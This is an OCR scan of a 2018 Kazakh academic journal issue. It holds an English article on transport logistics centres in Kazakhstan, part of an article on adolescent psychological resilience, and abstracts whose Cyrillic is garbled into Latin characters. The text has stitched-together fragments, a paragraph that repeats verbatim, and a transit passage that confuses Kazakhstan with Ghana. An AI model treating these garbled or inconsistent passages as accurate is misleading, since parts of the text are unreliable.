B3aumoneicTBus. CraTbsl agpecoBaHa HAaydHBIM PAaOOTHHMKAM, TOCYAApPCTBEHHBIM OpraHaM MJIsl OLEHKH YpPOBHS
BHEIITHEHN TTOJUTUKHU CTPAHbI U €€ 0€301acHOCTH.

KaroueBble c10Ba: BHEIIHSS MOJIUTHKA, MHOTOBEKTOPHOCTh, 0€30MacHOCTh, LleHTpanbHas A3us, JUanorosas
IUIOIIA KA, PETHOHBI, TII00aIN3aNHs, COTPYAHHYECTBO, B3aUMOIEHCTBHE.

F. M. Nlyiicen, /I. O. AiiT:)kaHoBa
KP BI'M I'K «P. b. Cyneiimenos ateiHfars! lIIbiFbicTany HHCTUTYTHDY, Ka3akcTan

KA3AKCTAH KOHE OPTAJIBIK A3USIHBIH BIPBIHFAI KEHICTITTH KYPY:
MOCEJIEJEPI MEH BOJIAIIAFBI

AnHoTanmsi. ABTopnap Ka3akcTaHHBIH CHIPTKBI CascaThIHIa KONBEKTOPJIBIK KaFrHIaJapblH JKapysiIall, allblk,
9p TYpJi cajanmapia BIHTBIMAKTACTHIKKA NaibIH, KayilCi3miK MyZaeiepi MEH MEMIIEKETTIK JaMyIbl YCTaHATBIH €71
perinze kepcetin oTeip. JKyMbICTa 3epTTEYiH HEri3ri MiHIeTTepi MEH OarbITTaphl HakThUIaHFaH. Ka3zakcraH xoHe
Opranbik A3ust enjepi skahaHIbIK reocascH JaMyaa MaHbI3Ibl OPBIH ajlaThIH, aliMaKThIH CPEKIICIiri MCH TaOUFU
pecypcTap/blH, MOJIIIBUIBIFBL 0ap ayMak peTiHJe ailKpIHIaabl. MaKajlaHbIH HeTi3ri KOPbIThIHABUIAPbIHA KAThICYIIbI
eJJiep apachlH/a cyx0ar ajlaHbIH KaJIBIITACTBIPY KaXETTUIr 060sbin oThlp. On alfMaKThIK BIHTBIMAKTACTHIK ITEH 63
apa OpeKeTTECTIriHIH THIMAI *koHe TaObIcThl (opmackl OG0kl TaObUTaNBl. Makana enjiH CBIPTKBI cascaTbl KoHE
KayiIlCi3AiriHiH JIeHreiin Oaranay YIIiH FhUIBIMU KbI3METKEpIIepre, MEMJIEKETTIK OpraHiapra apHalabl.
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hannaHy, BIHTRIMAKTACTHIK, 63 apa dPEKETTECTIK.
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SCIENTIFIC-METHODICAL BASES OF THE DEVELOPMENT
OF TRANSPORT LOGISTICS IN THE REPUBLIC OF KAZAKHSTAN

Abstract. The resolutions of the Government of the Republic of Kazakhstan (RK) and other state documents
pay special attention to the development of the unified transport system of the Republic of Kazakhstan, moder-
nization of all its elements, improving the efficiency of the transport complex, providing services to key sectors of
the economy. It is also emphasized that the transport complex of the Republic occupies a special place in ensuring
the implementation of the state strategy of further dynamic and stable development of the economy of Kazakhstan,
its integration into the world economy. In this article discusses the issues of scientific and methodological basis for
the development of the system of regional transport and logistics centers, taking into account the specifics of the
Republic of Kazakhstan. In the context of market competition and globalization of the world economy, the most
important factor of economic growth is the formation of integrated logistics systems, covering both individual areas
of business and entire regions and countries. As a relatively new methodology of market orientation, which allows
regulating regional markets of goods and services, the article considers the logistics approach, which provides an
increase in the overall synergetic effect on the basis of the integration of participants of the regional system of cargo
and goods movement.

Key words: transport and logistics centers, integrated logistics systems, logistics approach, transport and
logistics infrastructure, cargo transportation volume, advanced logistics technologies, integration, world economy,
entrepreneurship, economic growth.

Introduction. One of the most effective ways of economic and social development, both in indi-
vidual regions and the Republic of Kazakhstan, in general, is the formation of a backbone network of
regional transport and logistics centers. Logistic approach to material flow management has been known
for a long time. However, the economy on a fairly large scale demands relatively recently. This is due to
factors of the external material flow management systems, as well as the development of the logistics
approach. Experience of using logistics systems in the developed capitalist countries shows, that transport
costs were reduced on 7-20%; the cost of loading and unloading, storage inventories and finished products
was reduced on 15-30%; total logistics costs on 12-35%; material stocks was accelerated on 20-40%;
stocks of materials and finished products were reduced on 50-200%.

Methods. The results of the analysis of scientific research, as well as Russian and foreign experience
in the management of the transportation process, show that one of the most significant areas of impro-
vement of the cargo system and the movement of goods is the creation of support network of regional
transport and logistics centers, which improve the productivity of vehicles, reduce the time of turnover,
improve the coordination and interaction of modes of transport, the development of multimodal and
intermodal transport of goods in containers, providing additional services to the clients on the level of
international standards.

Results and discussion. Our bibliographic research showed that the applied aspects of use the
logistics tools in the management of transport in our country have not yet been fully formed. However,
over the past decade, a number of researchers have made a significant contribution to the definition of this
fundamental application area. Theoretical and methodological basis of this research is laid in the works of
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domestic and foreign scientists, for instance, A.I. Berg, A.N. Romanova, A. Vaisman, L.B. Mirotin,
D.O. Novikov, V.N. Stakhanov, Y.E. Tashbayev. These issues were reflected in the works A.M. Gadzhin-
ckiy, J.M. Nerush, A.A. Smekhov.

Among the foreign works in this area can be identified the research works of Ronald H. Ballou,
M. Cristopher, J.A. Cooke, J. Durant, A.T. Kearney, M. Laplaze, J. Meunier, J. Weil, and others.

There are many logistic periodicals abroad. Among them are the following: Journal “Taga”
(Switzerland), “International Journal of Physical Distribution and Logistics Management” (Great Britain),
Journal of Business Logistics (USA), Modern Logistics Management (Germany). Very interesting ideas of
logistics we can see in the Russian periodicals. There are such famous journals, as: Logistics, LogInfo,
Resources: Information, Supply, and Competition. International Road X Transportation, and others.

It should be noted that the regional aspects of transport logistics in relation to the conditions of
Kazakhstan have not been sufficiently studied. There are such Kazakh authors, who research this problem:
Burkotov E.V., Tuleushin S.T., V.P. Dobritsa, Sisekenova M.B., and others [1, p. 38].

They created theoretical scientific base of logistics management on transport. At the same time, the
development of information technologies, globalization of goods and transport markets, the integration of
Kazakhstan into the world transport system require new scientific generalizations and determine the range
of tasks to be solved in our article.

The relevance of logistics is explained by several factors:

- economic, the main priority for the company to search the opportunities to reduce production costs,
in order to increase the profit of the organization and the growth of quality, providing a range of services
to the consumer, therefore, the development of market relations, the principle of “calculation+bene-
fit+consumer”, which leads to increase of the importance of logistics;

- information, which most closely connects to the market and logistics, as the subject, means and
component of logistics processes;

- technical, which manifested in the fact that logistics as a management system, its subjects and
objects are developed on the basis of technical achievements in the warehouse and management (automa-
tion and computerization of management), providing decisive success in commodity markets [2, P.64].

In Kazakhstan, there is a formation of a multi-layered economy, intensive development of the market
of transport services, the creation of a competitive environment in the field of goods movement and
international transport of goods, changes in the system of organizational and economic relations between
the participants of the transport process while strengthening the integration trends in the world economy,
which requires the search for adequate market mechanisms to ensure the effective functioning of the
transport complex, which is considered logistics.

In the world economic system, logistics, as the most effective, market-oriented way of planning,
formation and development of commodity-material and related flows with the lowest costs in the entire
logistics chain, has firmly gained its position.

The operation of transportation determines the efficiency of moving products. The progress in tech-
niques and management principles improves the moving load, delivery speed, service quality, operation
costs, the usage of facilities and energy saving. Transportation takes a crucial part in the manipulation of
logistic. Reviewing the current condition, a strong system needs a clear frame of logistics and a proper
transport implements and techniques to link the producing procedures. The objective of the paper is to
define the role of transportation in logistics for the reference of further improvement. The research was
undertaken to assist logistics managers, researchers and transportation planners to define and comprehend
the basic views of logistics and its various applications and the relationships between logistics and
transportation [3, p. 58].

Table 1 provides an overview of the Periods of development of logistics. Logistics services,
information systems and infrastructure/resources are the three components of this system and closely
linked. Also four characteristics of the period were included.

The interaction of the three main components in the logistics system is interpreted as follows.
Logistics services support the movement of materials and products from inputs through production to
consumers, as well as associated waste disposal and reverse flows. They include activities undertaken in-
house by the users of the services (e.g. storage or inventory control at a manufacturer’s plant) and the
operations of external service providers.
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Table 1 — Periods of development of logistics

The name of the period The characteristics of the period

Fragmentation Period The formation of the principles of logistic management of material flows and reduce the overall
(1920-1950) costs

Period of formation Formation of the theory and practice of logistics, search for new ways to reduce costs in
(1950-1970) production and distribution, development of computer and information technologies

Period of Development | Finding new ways to reduce production and distribution costs
(1970-1980)

Integration period Combining the logistics functions of the company and its partners in the logistics chain (purchase-
(1980-1990) production - distribution of sales)

The operation of transportation determines the efficiency of moving products. The progress in
techniques and management principles improves the moving load, delivery speed, service quality, opera-
tion costs, the usage of facilities and energy saving. Transportation takes a crucial part in the manipulation
of logistic. Reviewing the current condition, a strong system needs a clear frame of logistics and a proper
transport implements and techniques to link the producing procedures. The objective of the paper is to
define the role of transportation in logistics for the reference of further improvement. The research was
undertaken to assist logistics managers, researchers and transportation planners to define and comprehend
the basic views of logistics and its various applications and the relationships between logistics and
transportation [4, p. 222].

Since logistics advanced from 1950s, there were numerous researches focused on this area in
different applications. Due to the trend of nationalization and globalization in recent decades, the impor-
tance of logistics management has been growing in various areas. For industries, logistics helps to
optimize the existing production and distribution processes based on the same resources through
management techniques for promoting the efficiency and competitiveness of enterprises. The key element
in a logistics chain is transportation system, which joints the separated activities. Transportation occupies
one-third of the amount in the logistics costs and transportation systems influence the performance of
logistics system hugely. Transporting is required in the whole production procedures, from manufacturing
to delivery to the final consumers and returns. Only a good coordination between each component would
bring the benefits to a maximum [5, p. 16].

The purpose of this paper is to re-clarify and redefine the position relationship between transportation
and logistics systems through collecting and analyzing various application cases and practices in logistics
from literatures. It is to provide a general framework and expect to be referred for further development and
researches. The paper started from introducing the development of logistics and transport-related sectors
based on a historical review. Afterwards it discussed the interrelationships of transportation and logistics.
It expresses the benefits that transportation brings to logistics activities and vice versa. For instance the
increase of the efficiency of logistics also would bestead to release traffic load in the urban areas.
Furthermore, some major logistics activities and concepts were also discussed in this paper. It especially
presents City Logistics independently due to it is considered as a main tendency and an available method
of future integration of transport and logistics in the urban areas. Finally, this paper will discuss and
conclude the potential further development of logistics systems.

Currently, there is a model of relations between marketing and logistics in the management of all
economic activities of the company:

- environmental analysis and market research;

- analysis of consumers;

- planning of goods, definition of assortment specialization of production;

- planning of services, optimization of market behavior on effective sales.

The first two marketing tasks can be solved without the participation of logistics, but the third and
fourth should be solved together.

It should be noted that the object of logistics has been researched through material flow, but at some
stages of its management is quite specific. Thus, procurement logistics is the management of material
flows in the process of providing the enterprise with raw materials. At this stage, the contracts are

— 202 ——



ISSN 1991-3494 Ne 6. 2018

concluded and their execution is controlled, measures are taken in case of violation of the terms of
delivery [6, p. 28].

Logistics services comprise physical activities (e.g. transport, storage) as well as non-physical acti-
vities (e.g. supply chain design, selection of contractors, freightage negotiations). Most activities of
logistics services are bi-direction. Information systems include modeling and management of decision
making, and more important issues are tracking and tracing. It provides essential data and consultation in
each step of the interaction among logistics services and the target stations. Infrastructure comprises
human resources, financial resources, packaging materials, warehouses, transport and communications.
Most fixed capital is for building those infrastructures. They are concrete foundations and basements
within logistics systems.

A significant part of logistics operations on the way of material flow is carried out with the help of
various vehicles, and transport is a link between the elements of logistics systems.

Transport logistics is the movement of the required amount of goods to the desired point by the
optimal route in the required time and at the lowest cost.

The exhibits at transport logistic cover the entire value-added chain in the industry, from intralo-
gistics and warehouse management to systems and services for freight transport, and IT, telematics and
telecommunications solutions. A detailed breakdown of the range of products and services on display is
set out on the shows [7, p. 171].

The biggest exhibition of transport logistic every year we can see in Germany. The visitors and exhi-
bitors at transport logistic come from all over the world, the majority, however, from Europe. According
to Messe Miinchen, the international scope of this show is increasing steadily: in 2013 45% of the
exhibitors came from outside Germany.

Establishing the most appropriate location of the facility in terms of logistics distribution network and
customers can be quite critical. Potential suitability investigation of the region to set up an appropriate
logistics geographical area center would be useful to be determined from multiple criteria. In geographic
information systems (GIS), spatial analyses which consider multiple criteria are called multi-criteria
decision analysis (MCDA). The aim of this study is to evaluate planning performance of GIS to determine
logistics centers. This study was conducted to analyze the most suitable place for establishing new logistic
park according to specified five criteria. The criteria which taken to account in practice have identified as:
production areas, residential areas, leisure areas, transit transport network and slope map. Some district
was selected as study of area. After all to the direction of selected criteria and given weights; close to the
industrial areas, away from the residential areas, low slope areas, quit close to transit and port areas were
identified as potential logistics park areas and GIS was found rapid and objective to produce suitable
potential logistic areas.

The result of using the transport logistics system is a high probability in the “six rules of logistics™:
the right cargo, in the right place, at the right time, in the right quantity, quality, with minimal costs
[7,p. 172].

Logistics was initially a military activity concerned with getting soldiers and munitions to the battle-
front in time for flight, but it is now seen as an integral part of the modern production process. The main
background of its development is that the recession of America in the 1950-s caused the industrial to place
importance on goods circulations. The term, logistics, was initially developed in the context of military
activities in the late 18-th and early 19-th centuries and it launched from the military logistics of World
War II. The probable origin of the term is the Greek logistikos, meaning ‘skilled in calculating’. Military
definitions typically incorporate the supply, movement and quartering of troops in a set. And now, a
number of researches were taken and made logistics applications from military activities to business
activities. Business logistics was not an academic subject until the 1960-s. A key element of logistics, the
trade-off between transport and inventory costs, was formally recognized in economics at least as early as
the mid-1950-s.

The tasks solved by transport logistics, experts include:

* development of transport systems, including transport corridors and chains;

* ensuring technological unity of the transport and warehouse process;

* joint planning of transport process with warehouse and production;

* determination of the rational route of cargo delivery;
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* selection of the type and type of vehicle, etc.
At the level of logistics management of the enterprise, transport logistics management consists of
several main stages:
* choice of mode of transport;
* choice of mode of transport;
« vehicle selection;

* selection of carrier and logistics partners for transportation;

* optimization of transport process parameters.
— There are two main approaches to the organization of the transport process:
— traditional;
— logistics, with the participation of the multimodal transport operator [8].
In the traditional approach, there is no single function to control them through material flow. The
consistency of links in the promotion of information and finance is low; it is very necessary to coordinate
their actions (figure 1).

Shipper Forwarder 1-mode of 2-mode of Forwarder Consignee
3 Nel & transport  [4P hig No2 >
<4—>» - information and financial flows; — > - material flow

Figure 1 — Traditional approach to mixed transport

Without well-developed transportation systems, logistics could not bring its advantages into full play.
Besides, a good transport system in logistics activities could provide better logistics efficiency, reduce
operation cost, and promote service quality. The improvement of transportation systems needs the effort
from both public and private sectors. A well-operated logistics system could increase both the compe-
titiveness of the government and enterprises [8, p.144].

Transport system is the most important economic activity among the components of business
logistics systems. Around one third to two thirds of the expenses of enterprises’ logistics costs are spent on
transportation.

In the logistics approach to multimodal transportation, a new section of the transport process is added
- a single operator of multimodal transportation. The presence of such an operator makes it possible to
plan the promotion of material flow and achieve the specified parameters at the output (figure 2).

A single multimodal transport operator

|

|
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|

v

Shipper

Forwarder
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Ne 2

Figure 2 — Logistic approach to mixed transportation

The comparative characteristic of traditional and logistic approaches to the organization of the mixed
transportations is given in table 2.

Table 2 — Comparative characteristics of traditional and logical approaches

Traditional hike (direct and mixed transport)

Logistic approach (multimodal transportation)

Two or more modes of transport

Two or more modes of transport

The lack of a common operator of the carriage

Availability of a single transportation operator

The lack of through rates for transportation

A single through rate for the transportation

Sequential scheme of interaction of participants

Sequential central scheme of interaction of participants
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Logistics sector is one of the most prominent field in economic development of a country. Travelling
Salesman Problem which is studied commonly in logistic sector is also based a number of other problems.
Shortly, it is aimed to travel along to n locations with limitation of only visiting each location once. Due to
NP-hard nature of problem, it is becoming impossible to find exact solution when the numbers of lo-
cations are above a certain level. Due to this reason, heuristic methods are mainly used for solving
Travelling Salesman Problem. Ant Colony Optimization Algorithm which is a heuristic method that uses
swarm intelligence gives good solutions in solving combinatorial optimization problems. In this study,
Ant System and Ant Colony System are tested according to proposed principal of well distributed initial
locations and different values of parameters for solving asymmetric Travelling Salesman Problem. Test
problem which is in literature is solved by program that is coded in MATLAB programming language.
Statistical analysis which is conducted on results indicates that proposed approach provides significant
contribution on solutions.

It mainly explores the rationale for the creation of the Metro Mass Transit (MMT) system as a state-
backed transit organization despite the Kazakhstan Government’s cheered history in the transit industry.
The empirical basis of this paper is both primary and secondary data with inclination toward qualitative
methodologies. Findings indicate that state intervention in Kazakhstan’s mass transit provision have been
one of addressing various types of market failures. The paper also demonstrates how the Government was,
inter alia, politically motivated to set up the MMT as a single dominant public transit company in Ghana
to enjoy state patronage. Though the paper reveals political interference in MMT’s operations, the public
transit continues to register significant strides in alleviating transit problems encountered by both urban
and rural commuters. The paper concludes that state-led transit investment which is closely-tied with
private capital promotes efficient transit systems that are socially equitable, ecologically friendly and
economically sustainable [8, p. 145].

Transport system makes goods and products movable and provides timely and regional efficacy to
promote value-added under the least cost principle. Transport affects the results of logistics activities and,
of course, it influences production and sale. In the logistics system, transportation cost could be regarded
as a restriction of the objective market. Value of transportation varies with different industries. For those
products with small volume, low weight and high value, transportation cost simply occupies a very small
part of sale and is less regarded; for those big, heavy and low-valued products, transportation occupies a
very big part of sale and affects profits more, and therefore it is more regarded.

Transportation plays a connective role among the several steps that result in the conversion of
resources into useful goods in the name of the ultimate consumer. It is the planning of all these functions
and sub-functions into a system of goods movement in order to minimize cost maximize service to the
customers that constitutes the concept of business logistics. The system, once put in place, must be
effectively managed. Traditionally these steps involved separate companies for production, storage, trans-
portation, wholesaling, and retail sale, however basically, production/manufacturing plants, warehousing
services, merchandising establishments are all about doing transportation. Production or manufacturing
plants required the assembly of materials, components, and supplies, with or without storage, processing
and material handling within the plant and plant inventory.

Warehousing services between plants and marketing outlets involved separate transport. Merchan-
dising establishments completed the chain with delivery to the consumers. The manufacturers limited
themselves to the production of goods, leaving marketing and distribution to other firms. Warehousing and
storage can be considered in terms of services for the production process and for product distribution.
There have been major changes in the number and location of facilities with the closure of many single-
user warehouses and an expansion of consolidation facilities and distribution centers. These developments
reflect factors such as better transport services and pressures to improve logistics performance.

In the conclusion we would like to note, that the concept of reverse logistics has been applied in
promoting customer service and resources recycling. Concerning quality control, the defective compo-
nents and finished products will be returned to their producers through reverse logistics systems. Nowa-
days, reverse logistics has been developed rapidly for increasing industries’ competitiveness, promoting
customer service level, and recycling the reusable material. Meanwhile, the demand of reverse logistics
brings out a new market for the third-party logistics industries. The role that transportation plays in
logistics system is more complex than carrying goods for the proprietors. Its complexity can take effect
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only through highly quality management. By means of well-handled transport system, goods could be sent
to the right place at right time in order to satisfy customers’ demands. It brings efficacy, and also it builds
a bridge between producers and consumers. Therefore, transportation is the base of efficiency and
economy in business logistics and expands other functions of logistics system. In addition, a good
transport system performing in logistics activities brings benefits not only to service quality but also to
company competitiveness.
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A. A. Kopikenrynosa, K. AnaiiiapKkbi3bl

KA3AKCTAH PECITYBJIUKACBIHIA KOJIIK JIOTUCTUKACBIH JAMBITY JIbIH
FbUUIBIMU-9AICTEMEJIIK HET'T3JIEPI

Annoranus. Kazakcran PecnyOnukacel YkiMeTiHiH YKIMET KayJbUIapblHAa KOHE 0acka Ja MEMIICKETTIK
kyxkarrapaa KP GipTyrac xeik >kyHeciH AaMbITyFa, OHBIH OapJIbIK SJIEMEHTTEPIH KaHFBIPTYFa jKOHE IKOHOMHUKAaHBIH
HETI3ri CeKTOpJapblHa KbI3MET KOPCETEeTIH KONIK KEIICHIHIH THIMIUIIIH apTThIpyFa epeKlle Ha3zap ayAapbuUlajibl.
KazakcTaHHBIH 9KOHOMHUKACHIH OJIaH api CEpIiHJI JKOHE TYPAaKThl JaMBITY/IbIH, OHBIH QJIEMJIIK SKOHOMHKara MHTe-
TpalusUIaHYbIHBIH MEMJICKETTIK CTPATETHWsACHIH ICKe acBIpyAbl KaMTaMachl3 €Tyle PecIyONUKaHBIH KONIK KeIIeHi
epekie opbIH anaabl. OceiFaH opai, Makanana Kazakcran PecriyOnrKackIHBIH €pEKIIEINiTiH eCKepe OTBIPHII, OHIpIIiK
KONIKTiK-JIOTHCTUKANBIK OPTAIBIKTAPABIH JKYHECIH NaMBITYABIH FBUIBIMHA-OIICTEMENIK HeTri3epi KapacThIPBLIAIbI.
HappIkThIK 0aceKenecTik )KoHe dJIeMJIiK SKOHOMHUKaHbIH kahaHaaHy JKarJailblHAa KOCINKEPIiKTiH Oeliek cananapsl
MEH eniep MeH Oipkarap alMakTapIbl KaMTHTBIH MHTEIPALMsUIaHFaH JIOTHCTUKAIBIK JKyHenepli KaJbIITacThIpy
9KOHOMUKAJIBIK ©CYAiH MaHbI3bI (pakTopsl 00BN TaObUIaAbl. Tayapiap MeH KbI3METTep YIUiH OHIPIiK HapbIKTap bl
perTey/i KamTamachl3 €Tyre MYMKIHIIK OepeTiH calbICThIpMallbl TypJe JKaHa HapblKKa OarbITTalFaH ojicHaMa
periHzie, Makanala JKYK JKOHE OHIMHIH alWMaKThIK JKyWeciHe KaThICYIIbLIapIblH WHTErpalUsIChIHA HETI3/eNreH
JKaJITIbl CHHEPTeTUKAIIBIK 9CEP.IiH YJIFAlObIH KAMTaMachI3 €TeTiH JIOTHCTHKAJIBIK TCUT KapacThIPhIIFaH.

Tyiiin ce3mep: KoOJIKTIK-TOTMCTUKAIIBIK OPTAIBIKTAp, MHTETPALMsIIaHFAH JIOTUCTUKAIIBIK XKYieaep, JIOTHCTH-
KaJIbIK TOCUJI, KOJIKTIK-JIOTHCTHKAIBIK WH(PPAKYPBUIBIM, YK TaCBIMAJIBIHBIH KOJIEMi, O3bIK JIOTHCTHKAJIBIK TEXHO-
JOTHsIIap.
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' AnvatuHcKas AKajieMusi S)KOHOMHKH H CTATHCTHKH,
kadenpa Yuera, ayanrta u cTaTucTukH . AnMatsl, Kazaxcran,
2BerHeCI/1J1e3CI<1/u71 9KOHOMHUYeCcKHi yHuBepcuteT UM. B. Kopdanroro, Karosuue, [Tonbmra

HAYYHO-METOJUYECKHUE OCHOBbDI
PA3BUTHUA TPAHCIIOPTHOU JIOTHUCTHKHU
B PECITYBJIMKE KA3AXCTAH

AnHotauus. B mocranoBnenusx [IpaBurenbctBa PecrmyOnmmkm Kazaxcran u B APYrHX TOCYIapCTBEHHBIX
JIOKyMEHTax 0co00e BHMMaHHE YHCNSeTCS pa3BUTHIO €IWHOW TpaHCHOPTHOHM cuctembl PK, MonmepHm3ammm Bcex
€€ AJIEMEHTOB, MOBBINICHHIO 3()(EKTUBHOCTH pabOThl TPAHCIIOPTHOTO KOMILIEKCa, 00ECIIeUuHBAOLIETO 00CITyKIBaA-
HHUE KJIIOYEBBIX OTpacCiiell S5KOHOMHUKH. Taxke MOAUEpKUBACTCS, YTO B O0CCIIEUEHUH pean3alliy roCy1apCTBEHHON
CTpaTeruyl JajdbHEHIIEro JUHAMUYHOTO W CTaOMIBHOTO pa3BUTHA SKOHOMHKHN PK, ee mHTErpamuu B MUPOBYIO 3KO-
HOMHKY 0Cc000O€ MECTO 3aHMMAaeT TPAHCIOPTHBIM KOMIUIEKC pecmyOmuku. Mcxoms M3 3TOro, B CTaThe paccMmart-
PHUBAIOTCS BOMIPOCHI HAYIHO-METOAMYECKIX OCHOB PA3BUTHS CUCTEMBI PETHOHAIBHBIX TPAHCIIOPTHO-JIOTUCTHYECKIX
LHEeHTPOB ¢ yueToMm crietiuduku Pecriyonukn Kazaxcran. B ycnoBusix pplHOYHON KOHKYPEHIIMHU U INI00ATH3ALUN MH-
POBOI 3KOHOMHKH Ba)KHEHUIIMM (DAKTOPOM SKOHOMHYECKOTO POCTa CTAHOBHUTCS (DOPMHUPOBAHHUE WHTEIPHUPOBAHHBIX
JIOTHCTUYECKUX CHCTEM, OXBaTBIBAIOIIMX KaK OTIAC/IbHBIC Cephl MPeAPUHAMATEIBCTBA, TAK M IE/IbIE PErHOHBI
U CTpaHbl. B KauecTBe OTHOCHUTEIBHO HOBOM METOOJIOTMH PBIHOYHON OPHEHTALUU, I103BOJIIIOLIEH OCYLIECTBISAThH
peTyIupOBaHUE PETHOHAIBHBIX PBHIHKOB TOBApOB M YCIYT, B CTaTbe PACCMATPHUBAETCS JIOTHCTHYECKUH MOIXOI,
obecrieunBaONMi yBeJIMYCHUE OOLIEro CHHEpreTuueckoro 3¢ddexra Ha OCHOBE MHTErpallMid yYacTHHKOB DPEruo-
HAJIBHOW CHCTEMBI TPYy30- U TOBAPOABIKEHHS.

KiiroueBble cj10Ba: TPAaHCHOPTHO-JOTHCTUYECKUE IIEHTPBI, HHTETPUPOBAHHBIC JIOTUCTHUYECKHUE CUCTEMBI, JIO-
THCTHYECKUI MOJXO0J, TPAHCIIOPTHO-JIOTUCTUYECKAass UH(pacTpyKTypa, 00beM MEpeBO30K IPy30B, MPOIPECCHBHBIC
JIOTUCTUYECKHE TEXHOJOTHUH, NHTETPAIUsl, MEPOBasi SKOHOMHUKA, TIPEAITPUHUMATETHCTBO, SKOHOMUIECKHI POCT.
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FACTORS OF PSYCHOLOGICAL RESILIENCE
AMONG ADOLESCENDS

Abstract. The Soviet scholars studied the problem of individual development, and age stages quite thoroughly
and comprehensively. Child psychology, as a branch of psychology, according to many psychologists, is considered
one of the most developed areas of psychological science. Recent studies pay greater attention to the child’s social
development, which depends on changing values, mentality, the novelty in reality, to which we can include (except
for values) the spreading IT into the daily life, growing infantilism of children and others. The primary duties of high
school student have strong ties with professional and personal self-determination. At this age, the psychological con-
tent of many essential age characteristics, including psychological stability, is qualitatively changing. One of the
characteristics of modern life is the increased impact on the person of stressful situations. They, having hidden, wait
for it in any sphere of life and are always expressed differently. It can be a misunderstanding in a family, a salary
delay, the conflict to negatively adjusted seller in the shop. The article deals with the actual problem of the
psychological resilience of high school students who are going to study in specialized classes. The question is the
fact that at the beginning of training in such classes, many students have difficulties with stress and anxiety. The
participants mentioned that the process of adaptation, in which they need to build relationships with peers, teachers
and the complicated level of the school program, was the reasons for their high level of anxiety. This problem
prompted the creation of a test identifying the levels of students' psychological resilience. We analyzed some Soviet,
Russian and Western psychological schools about psychological resilience.

Key word: psychological resilience, stress, self-regulation.

Introduction. One of the characteristics of modern life is the increased impact on the person of
stressful situations. They, having hidden, wait for it in any sphere of life and are always expressed diffe-
rently. It can be a misunderstanding in a family, a salary delay, the conflict to negatively adjusted seller in
the shop.

The article deals with the actual problem of the psychological resilience of high school students who
are going to study in specialized classes. The question is the fact that at the beginning of training in such
classes, many students have difficulties with stress and anxiety. The participants mentioned that the
process of adaptation, in which they need to build relationships with peers, teachers and the complicated
level of the school program was the reasons for their high level of anxiety. This problem prompted the
creation of a test identifying the levels of students' psychological resilience. We analyzed some Soviet,
Russian and Western psychological schools about psychological resilience. In the process of developing
the test, we paid attention to the concept of “educational environment”; we analyzed in detail the psycho-
logical sources, theories, and concepts related to this phenomenon. The subject of study is high school
student who is facing the personal development changes. Therefore the test included judgments related to
self-esteem, the ability to build relationships with teachers and classmates, and adaptation to the
educational environment. We found significant differences in the level of students' psychological resi-
lience at the beginning of the year and the end of the semester.

The student' psychological resilience protects his personality from disintegration and personality
disorders, creates internal harmony, mental health, high performance, and adaptation, especially in
connection with the transition to specialized classes.
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The theoretical analysis of psychological literature showed that psychological stability is the most
important social, psychological and pedagogical problem (B.G.Ananyev, L.I.Antsiferova, A.G. Asmolov,
A.A.Bodalev, L.I.Bozhovich, L.S. Vygotsky, E.I.Golovaha, E.E.Danilova, G.A.Kvashnina, E.P.Krupnik,
L.V.Kulikov, N.D.Levitov, A.V.Libin, A.V.Petrovsky V. 1. Syrensky , V. E. Chudnovsky, V. A. Yadov).
According to some scholars, this period covers various aspects of the formation and development of a
personality, focusing on self-determination and adaptation to the conditions of a socio-cultural envi-
ronment.

We should mention a little difficulty which occurs on the translation of the phenomenon of psycho-
logical resilience. For a Western School of Psychology, it is "psychological resilience" as a form of mental
toughness. Psychological resilience is the ability to cope with a crisis successfully and to return to pre-
crisis status quickly. Resilience exists when the person uses "mental processes and behaviors in promoting
personal assets and protecting an individual from the potential negative effects of stressors.”" In simpler
terms, psychological resilience exists in people who develop psychological and behavioral capabilities that
allow them to remain calm during crises/chaos and to move on from the incident without long-term
negative consequences. Psychological resilience is an evolutionary advantage that most people have and
use to manage normal stressors. The concept of resilience has evolved over time and its origins can be
traced to the discipline of psychology in the 1970s (Thomas & Revell, 2016). Resilience is the ability of a
person to recover, adjust or thrive following adversity (Hegney, Rees, Eley, Osseiran-Moisson, & Franics,
2015). It is a complex and dynamic phenomenon (American Psychological Association, 2016).

Resilience is the process of adapting well in the face of adversity, trauma, tragedy, threats or
significant sources of stress — such as family and relationship problems, serious health problems or
workplace and financial stressors. It means "bouncing back" from painful experiences.

Emotional pain and sadness are common in people who have suffered significant adversity or trauma
in their lives. The road to resilience is likely to involve considerable emotional distress. Resilience is not a
trait that people either have or do not have. It involves behaviors, thoughts, and actions that can be learned
and developed in anyone.

The Soviet School of psychology pays greater attention to a fact of "stability." Psychological
resilience is psychological stability. According to E.N. Ignatova, L.V. Kulikova, resilience is a socio-
psychological stress tolerance of person to adverse living conditions. Some authors associate this
phenomenon (stability) with different aspects of the personality (V.A. Ivannikov, E.P.Ilyin, E.I. Ignatov,
V.K.Kalin, L.A. Korostyleva, L.V.Kulikov, A. . Maslow ). Rapokhin considers "stability" as:

» the individual ability to complete self-realization and personal growth, timely stimulating;

» adequate resolution of intrapersonal conflicts (motivational, value, role);

» the relative stability of the emotional sphere and favorable mood;

» ability emotional-volitional regulation with the sufficient motivation to the situation.

The basis of own psychological stability, according to Prokhorov, Petrovsky are the balanced mental
states that characterize adequate, predictable, balanced behavior and optimal human activity. The
psychological stability understands by dynamic characteristics ( V.V. Belous, V.S. Merlin ).

According to V.S.Rotenberg and V.V. Arshavsky, psychological resilience (stability) is the search
activity. The high need for searching, an active, creative attitude push personality to overcome the
destructive impact of adverse life circumstances.

Psychological resilience (A.G.Asmolov, B.S.Bratus, N.[.LKorolyuk, M.A.Kotik, E.P.Krupnik,
L.V.Kulikov, B.V.Kulagin) is persistence to reach the goals.

According to some humanistic psychologists, psychological stability is as part of the process of
spiritual and moral education (Kon, T.I.Petrakova, E. Fromm, et al.). This approach identifies in
psychological stability system-forming inherent characteristics of the personality, which determine its
essential nature and qualitative originality.

Many authors (Bozhovich, E.I.Golovaha, A.F.Lazursky, Leontiev, A. Maslow, G.Olport, E. Fromm,
V.E.Chudnovsky) consider the psychological stability of personality as an indicator of moral maturity.

The phenomenon of personal psychological resilience includes the adaptive human body, appropriate
conduct, the normal functioning of the mind, ensuring the successful activation of internal resources and
overcoming life difficulties ( V.Miniiyarov ).

— 209 =——



Becmuux Hayuonanvrot akademuu nayk Pecnybnuku Kazaxcman

Yu.l. Aleksandrov and V.D. Shadrikov emphasize that sustainability determine the totality of
personality traits. These include a deep understanding and acceptance of oneself, a positive orientation
towards effective communication, high satisfaction with life and one’s health.

